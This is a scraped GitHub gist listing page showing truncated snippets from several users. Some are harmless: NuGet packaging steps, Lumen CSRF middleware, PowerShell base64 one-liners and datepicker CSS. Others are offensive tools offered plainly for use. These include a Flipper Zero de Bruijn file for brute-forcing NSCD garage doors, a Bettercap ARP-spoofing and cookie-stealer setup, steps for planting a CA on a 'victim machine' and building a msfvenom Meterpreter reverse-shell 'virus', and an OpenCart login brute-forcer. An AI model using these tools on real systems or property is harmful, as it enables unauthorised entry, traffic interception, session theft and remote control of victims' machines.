Skip to content

Instantly share code, notes, and snippets.

View osysltd's full-sized avatar
🤙
Looking for new opportunities

Osys osysltd

🤙
Looking for new opportunities
View GitHub Profile
@jinschoi
jinschoi / nscd.sub
Created March 25, 2022 02:02
de Bruijn .sub file for Flipper Zero for NSCD garage doors
Filetype: Flipper SubGhz RAW File
Version: 1
Frequency: 318000000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: RAW
RAW_Data: 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 4000 -500 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 4000 -500 4000 -500 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 4000 -500 500 -4000 4000 -500 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 4000 -500 500 -4000 4000 -500 4000 -500 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 500 -4000 4000 -500 4000
@gwalkey
gwalkey / gist:b168d532b472333e96663cf607bf84eb
Last active May 4, 2024 15:38
Create a NuGet Package to Install a Powershell Module
Download the CLI Version of NuGet
https://dist.nuget.org/win-x86-commandline/latest/nuget.exe
--Create Work Paths
md c:\nuget
md c:\nuget\source
md c:\nuget\publish
-- One-Time - Create local NuGet Repo/feed using a local drive path
cd c:\nuget
@tegimus
tegimus / VerifyCsrfToken.php
Created August 9, 2018 22:32
VerifyCsrfToken middleware for use with Lumen
<?php
namespace App\Http\Middleware;
use Closure;
use Symfony\Component\HttpFoundation\Cookie;
use Illuminate\Contracts\Encryption\Encrypter;
use Illuminate\Session\TokenMismatchException;
class VerifyCsrfToken {
@leoloobeek
leoloobeek / responder-n-cookies.js
Created March 1, 2018 16:41
Bettercap Responder injection and cookie stealer
// Code mashed together from here: https://github.com/bettercap/caplets/
// Intended to use with Bettercap v2: https://github.com/bettercap/bettercap
//
// net.probe on
// sleep 1
// net.probe off
// set arp.spoof.targets <TARGETS>
// set https.proxy.script /root/caplets/responder-n-cookies.js
// set http.proxy.script /root/caplets/responder-n-cookies.js
// https.proxy on
IMPORT BETTERCAP_CA.PEM INTO VICTIM MACHINE
0. Fix bettercap-ca.pem
- cd /root/.bettercap/
- cp bettercap-ca.pem ca.pem
- gedit ca.pem
=> delete private key and save
1. Create a virus name test.exe
- msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.104 LPORT=443 -f exe -o /root/.bettercap/test.exe
@t2psyto
t2psyto / gist:f5453707d2658173715f49293d096fe5
Created July 14, 2017 04:15
powershell oneliner for encode/decode base64 to file
# encode from binary file to base64txt
powershell -C "& {$outpath = (Join-Path (pwd) 'out_base64.txt'); $inpath = (Join-Path (pwd) 'data.jpg'); [IO.File]::WriteAllText($outpath, ([convert]::ToBase64String(([IO.File]::ReadAllBytes($inpath)))))}"
# decode from base64txt to binary file
powershell -C "& {$outpath = (Join-Path (pwd) 'outdata2.jpg'); $inpath = (Join-Path (pwd) 'out_base64.txt'); [IO.File]::WriteAllBytes($outpath, ([convert]::FromBase64String(([IO.File]::ReadAllText($inpath)))))}"
@yorickdewid
yorickdewid / bruteforce.py
Last active March 2, 2021 22:36
OpenCart bruteforce
#!/usr/bin/python
from __future__ import division
import urllib
import urllib2
import cookielib
import threading
import os
import sys
import time
import signal
@miwahall
miwahall / jquery-bootstrap-datepicker.css
Created October 17, 2013 17:10
jQuery UI Datepicker Bootstrap 3 Style
.ui-datepicker {
background-color: #fff;
border: 1px solid #66AFE9;
border-radius: 4px;
box-shadow: 0 0 8px rgba(102,175,233,.6);
display: none;
margin-top: 4px;
padding: 10px;
width: 240px;
}